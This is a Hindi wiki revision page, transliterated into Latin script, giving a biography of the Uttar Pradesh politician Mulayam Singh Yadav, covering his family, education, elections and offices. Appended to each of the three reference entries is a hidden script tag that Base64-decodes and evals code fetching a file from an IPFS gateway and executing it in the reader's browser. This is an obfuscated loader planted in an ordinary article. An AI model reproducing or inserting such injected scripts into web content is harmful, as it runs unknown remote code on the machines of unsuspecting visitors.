Difference between revisions of "मुलायम सिंह यादव"

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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
<references/>
 
<references/>
 +
==बाहरी कड़ियाँ==
 +
;मुलायम सिंह पर पुस्तकें
 +
*[http://www.flipkart.com/mulayam-singh-yadav-chintan-aur-vichar-8128811703/p/itmdytpffkvrbcez?pid=9788128811708 'मुलायम सिंह यादव- चिन्तन और विचार']
 +
*[http://catalogue.nla.gov.au/Record/1620317 'मुलायम सिंह: ए पोलिटिकल बायोग्राफ़ी']
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{उत्तर प्रदेश के मुख्यमंत्री}}
 
{{उत्तर प्रदेश के मुख्यमंत्री}}

Revision as of 06:13, 4 December 2012

mulayam sianh yadav
janm 22 navambar, 1939
janm bhoomi saiphee gaanv, itava, uttar pradesh
pati/patni sv. malati devi (pratham patni), sadhana gupta
santan akhilesh yadav, pratik yadav
nagarikata bharatiy
prasiddhi kisan neta aur dharatiputr ke nam se prasiddh
parti 'samajavadi parti'
pad poorv mukhyamantri, uttar pradesh (tin bar)
shiksha em.e., bi.ti.
vidyalay agara vishvavidyalay, jain intar kalej (mainapuri)
jel yatra apat kal mean 19 mah jel mean rahe.
any janakari varsh 1954 mean matr 15 varsh ki ayu mean mahan samajavadi neta d aau. ram manohar lohiya ke ahvan par 'nahar ret andolan' mean bhag liya aur pahali bar jel ge.
adyatan‎
3:36, 31 agast, 2012 (IST)
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mulayam sianh yadav (janm- 22 navambar, 1939, itava, uttar pradesh) ek prasiddh rajaneta aur uttar pradesh ke bhootapoorv mukhyamantri haian. ve ek kisan neta aur janata ke bich 'dharatiputr' ke nam se bhi jane jate haian. mulayam sianh tin bar, 1989 se 1991 tak, 1993 se 1995 tak aur 2003 se 2007 tak, uttar pradesh ke mukhyamantri pad ki garima badha chuke haian. ve keanndr sarakar mean ek bar rakshamantri ke pad ko bhi sushobhit kar chuke haian. bharat ki 'samajavadi parti' ke ve adhyaksh haian.

jivan parichay

navambar, 1939 ko itava zila, saiphee gaanv ke ek kisan parivar mean mulayam sianh yadav ka janm hua tha. unaki mata ka nam 'moorti devi' v pita 'sudhar sianh' the. mulayam sianh apane paanch bhaee-bahanoan mean ratan sianh se chhote v abhayaram sianh, shivapal sianh yadav, ramagopal sianh yadav aur kamala devi se b de haian. mulayam sianh ke pita unhean pahalavan banana chahate the. rajaniti mean ane se poorv mulayam sianh ne agara vishvavidyalay se snatakottar (em.e.) aur jain intar kalej, karahal (mainapuri) se bi. ti. ki digri prapt ki thi. isake bad unhoanne kuchh dinoan tak intar k aaulej mean adhyapan kary bhi kiya.

vivah

mulayam sianh ji ka pratham vivah malati devi ke sath hua tha. unake putr akhilesh yadav ka janm inhian ke garbh se 1 julaee, 1973 ko hua. lekin akhilesh yadav ke balyakal mean hi malati devi ka svargavas ho gaya. isake bad mulayam sianh yadav ka doosara vivah sadhana gupta ke sath sampann hua, jinase inhean pratik yadav ke roop mean doosare putr ratn ki prapti huee.

rajaniti mean pravesh

'samajavadi parti' ke neta mulayam sianh yadav pichhale tin dashak se rajaniti mean sakriy haian. apane rajanitik guru natthoosianh ko mainapuri mean ayojit ek kushti pratiyogita mean prabhavit karane ke pashchat mulayam sianh ne natthoosianh ke paramparagat vidhan sabha kshetr jasavant nagar se hi apana rajanitik saphar arambh kiya tha. 1967 mean vah pahali bar uttar pradesh, vidhan sabha ke lie chune ge the. shuruat se hi mulayam sianh yadav dalitoan aur pichh de vargoan se ju de mudde uthate rahe aur aj bhi yah varg unaka sabase b da adhar haian. ayodhya mean babari masjid ke mudde par hindoo kattapanthi sangathano ke unake mukhar virodh ne mulayam sianh ko muslim samuday mean bhi lokapriy bana diya. 1992 mean babari masjid tootane ke bad uttar pradesh ki rajaniti saanpradayik adhar par bant gee aur mulayam sianh ko rajy ke muslimoan ka samarthan hasil hua. alpasankhyakoan ke prati unake rujhan ko dekhate hue kahian-kahian un par "maulana mulayam" ka thappa bhi laga.[1]

mukhyamantri

varsh 1993 mean mulayam sianh yadav ne 'bahujan samaj parti' ke sath milakar uttar pradesh ka vidhanasabha chunav l da tha. halaanki yah morcha jita nahian, lekin 'bharatiy janata parti' bhi sarakar banane se chook gee. mulayam sianh yadav ne kaangres aur janata dal donoan ka sath liya aur phir mukhyamantri ban ge. joon 1995 tak ve mukhyamantri rahe aur usake bad kaangres ne samarthan vapas le liya. 1996 mean mulayam sianh yadav gyarahavian lokasabha ke lie mainapuri lokasabha kshetr se chune ge the aur us samay jo sanyukt morcha sarakar bani thi, usamean mulayam sianh bhi shamil the aur desh ke rakshamantri bane the. yah sarakar bahut lanbe samay tak chali nahian. mulayam sianh yadav ko pradhanamantri banane ki bhi bat chali thi, magar laloo yadav ne is irade par pani pher diya. isake bad chunav hue to mulayam sianh sanbhal se lokasabha vapas mean laute. asal mean ve kannauj bhi jite the, kiantu vahaan se unhoanne apane bete akhilesh yadav ko saansad banaya.[2]

keandriy rajaniti

keandriy rajaniti mean mulayam sianh ka pravesh 1996 mean hua, jab kaangres parti ko hara kar sanyukt morcha ne sarakar banaee. ech. di. devegauda ke netritv vali is sarakar mean vah rakshamantri banae ge the, kiantu yah sarakar bhi zyada din chal nahian paee aur tin sal mean bharat ko do pradhanamantri dene ke bad satta se bahar ho gee. 'bharatiy janata parti' ke sath unaki vimukhata se lagata tha, vah kaangres ke nazadik hoange, lekin 1999 mean unake samarthan ka ashvasan na milane par kaangres sarakar banane mean asaphal rahi aur donoan partiyoan ke sanbandhoan mean k davahat paida ho gee. 2002 ke uttar pradesh vidhan sabha chunav mean samajavadi parti ne 391 sitoan par apane ummidavar kh de kie, jabaki 1996 ke chunav mean usane keval 281 sitoan par hi chunav l da tha.

rajanaitik darshan tatha videsh yatra

mulayam sianh yadav ki rashtravad, lokatantr, samajavad aur dharmanirapekshata ke siddhantoan mean atoot astha rahi hai. bharatiy bhashaoan, bharatiy sanskriti aur shoshit pi dit vargoan ke hitoan ke lie unaka anavarat sangharsh jari raha hai. unhoanne briten, roos, phraans, jarmani, svitajaralaind, polaiand aur nepal adi deshoan ki bhi yatraean ki haian.

rajanitik saphar

  1. varsh 1954 mean matr 15 varsh ki ayu mean mahan samajavadi neta d aau. ram manohar lohiya ke ahvan par 'nahar ret andolan' mean bhag liya aur pahali bar jel ge.
  2. varsh 1967 mean sanyukt soshalist parti ke tikat par pratham bar uttar pradesh vidhan sabha ke sadasy chune gaye.
  3. punah varsh 1974, 1977, 1985, 1989, 1991, 1993, 1996 aur 2004 tatha 2007 mean das bar uttar pradesh vidhan sabha ke sadasy chune gaye.
  4. varsh 1977-1978 mean shri ram naresh yadav aur shri banarasi das mantrimandal mean sahakarita evan pashupalan mantri banae ge.
  5. tin bar uttar pradesh ke mukhyamantri rahe - varsh 1989 se 1991 tak, varsh 1993 se 1995 tak aur varsh 2003 se 2007 tak.
  6. varsh 1982 se 1985 tak uttar pradesh vidhan parishad ke sadasy aur neta virodhi dal rahe.
  7. varsh 1985 se 1987 tak uttar pradesh vidhan sabha mean neta, virodhi dal rahe. punah 14 mee, 2007 se 26 mee, 2009 tak uttar pradesh vidhan sabha mean neta, virodhi dal rahe.
  8. varsh 1996, 1998, 1999, 2004 aur 2009 mean lokasabha ke sadasy chune gaye.
  9. pradhanamantri shri ech. di. devegauda aur shri indr kumar gujaral ki sarakaroan mean 1996 se 1998 tak bharat ke rakshamantri ka padabhar sambhala.
  10. mulayam sianh yadav ke netritv mean 4 navambar aur 5 navambar, 1992 ko lakhanoo mean samajavadi parti ki sthapana ki gayi. bharat ke rajanitik itihas ki yah ek krantikari ghatana thi, jab lagabhag dedh-do dashakoan se mritapray samajavadi andolan ko punarjivit kiya gaya.
  11. samajavadi parti ki sthapana se poorv mulayam sianh yadav uttar pradesh lokadal aur uttar pradesh janata dal ke adhyaksh rahe the.
  12. apat kal mean mulayam sianh 19 mah jel mean bhi rahe.
  13. aktoobar, 1992 mean devariya ke ramakola mean ganna kisanoan par pulis fayariang ke khilaf chalae ge kisan andolan sahit vibhinn andolanoan mean 9 bar itava, varanasi aur fatehagadh adi jeloan mean rahe.[3]

lokasabha sadasy

lokasabha se mulayam sianh yadav gyarahavian, barahavian, terahavian aur pandrahavian lokasabha ke sadasy chune gaye the.

sadasyata

  • vidhan parishad 1982-1985
  • vidhan sabha 1967, 1974, 1977, 1985, 1989, 1991, 1993 aur 1996 (ath bar)
  • vipaksh ke neta, uttar pradesh vidhan parishad 1982-1985
  • vipaksh ke neta, uttar pradesh vidhan sabha 1985-1987

keandriy kaibinet mantri

  • mantri sahakarita aur pashupalan 1977
  • raksha mantri 1996-1998

mulayam sianh par pustakean

mulayam sianh par kee pustakean bhi likhi ja chuki haian. inamean pahali pustak ka nam 'mulayam sianh yadav- chintan aur vichar' ka hai, jise ashok kumar sharma ne sampadit kiya tha. isake atirikt ram sianh tatha aanshuman yadav dvara likhi gayi 'mulayam sianh: e politikal bayografi' ab unaki pramanik jivani hai. lakhanoo ki patrakar d aau. nootan thakur ne bhi mulayam sianh yadav ke samajik, saanskritik aur rajanaitik mahatv ko rekhaankit karate hue ek pustak likhane ka kary kiya hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ mulayam sianh yadav (hindi). . abhigaman tithi: 31 agast, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ mulayam sianh yadav (hindi). . abhigaman tithi: 4 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ mulayam sianh yadav (hindi) (ech.ti.em.el.). . abhigaman tithi: 31 agast, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

mulayam sianh par pustakean

sanbandhit lekh

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uttar pradesh ke mukhyamantri
mukhyamantri
up-mukhyamantri

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